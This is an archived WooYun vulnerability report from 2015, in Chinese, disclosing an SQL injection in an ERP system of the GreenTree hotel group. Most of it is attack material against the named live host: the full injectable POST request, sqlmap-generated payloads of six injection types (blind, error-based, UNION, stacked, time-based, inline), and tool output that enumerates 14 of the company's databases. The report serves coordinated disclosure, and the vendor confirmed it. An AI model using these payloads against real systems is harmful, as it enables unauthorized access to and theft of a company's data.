当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106003

漏洞标题:格林豪泰某重要系统存在SQL注入

相关厂商:格林豪泰酒店管理集团

漏洞作者: 小邪

提交时间:2015-04-05 14:31

修复时间:2015-05-22 11:36

公开时间:2015-05-22 11:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-05: 细节已通知厂商并且等待厂商处理中
2015-04-07: 厂商已经确认,细节仅向厂商公开
2015-04-17: 细节向核心白帽子及相关领域专家公开
2015-04-27: 细节向普通白帽子公开
2015-05-07: 细节向实习白帽子公开
2015-05-22: 细节向公众公开

简要描述:

格林豪泰某重要系统存在SQL注入涉及14个库

详细说明:

问题处:

POST /op/Module_ERP/UserActive.aspx?userid=1997* HTTP/1.1
Host: system.greentree.com.cn:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DontTrackMeHere: gzip, deflate
Referer: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997%27
X-Forwarded-For: '
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 218
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4OTM2NjcwNTBkZIHMoL2SEOkGJ5sSt21NlTiUkV%2B%2B&__EVENTVALIDATION=%2FwEWAwLJ06XnBwKvpuq2CALVo8avDihMEeCxnynpwiepj1kT%2FPDS8syL&username=%A1%AE&Submit1=%BC%A4%BB%EE


该post包提交的地址参数userid存在注入【直接get注入不能成功,要带着post包去跑】

漏洞证明:

Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 AND 2338=2338
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 AND 4834=CONVERT(INT,(CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58)
(SELECT (CASE WHEN (4834=4834) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(
113) CHAR(119) CHAR(105) CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 UNION ALL SELECT CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) CHAR
(122) CHAR(116) CHAR(100) CHAR(65) CHAR(107) CHAR(117) CHAR(70) CHAR(100) CHAR(8
4) CHAR(97) CHAR(58) CHAR(113) CHAR(119) CHAR(105) CHAR(58),NULL,NULL,NULL,NULL-
-
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=(SELECT CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) (SELECT (CASE WHEN
(8853=8853) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(113) CHAR(119) CHAR
(105) CHAR(58))
---
[13:39:44] [INFO] testing Microsoft SQL Server
[13:39:44] [INFO] confirming Microsoft SQL Server
[13:39:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[13:39:44] [INFO] fetching database names
[13:39:45] [INFO] the SQL query used returns 14 entries
[13:39:45] [INFO] retrieved: "DBA"
[13:39:45] [INFO] retrieved: "GreenTree_OP"
[13:39:45] [INFO] retrieved: "GTI_QA"
[13:39:45] [INFO] retrieved: "kno"
[13:39:46] [INFO] retrieved: "kno_qa"
[13:39:46] [INFO] retrieved: "kno2"
[13:39:46] [INFO] retrieved: "master"
[13:39:46] [INFO] retrieved: "model"
[13:39:47] [INFO] retrieved: "msdb"
[13:39:47] [INFO] retrieved: "myOnlineExam"
[13:39:47] [INFO] retrieved: "Northwind"
[13:39:47] [INFO] retrieved: "pubs"
[13:39:47] [INFO] retrieved: "tempdb"
[13:39:48] [INFO] retrieved: "WebSite_Test"
available databases [14]:
[*] DBA
[*] GreenTree_OP
[*] GTI_QA
[*] kno
[*] kno2
[*] kno_qa
[*] master
[*] model
[*] msdb
[*] myOnlineExam
[*] Northwind
[*] pubs
[*] tempdb
[*] WebSite_Test

修复方案:

RT

版权声明:转载请注明来源 小邪@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-07 11:34

厂商回复:

已联系相关人员处理,感谢

最新状态:

暂无


漏洞评价:

评论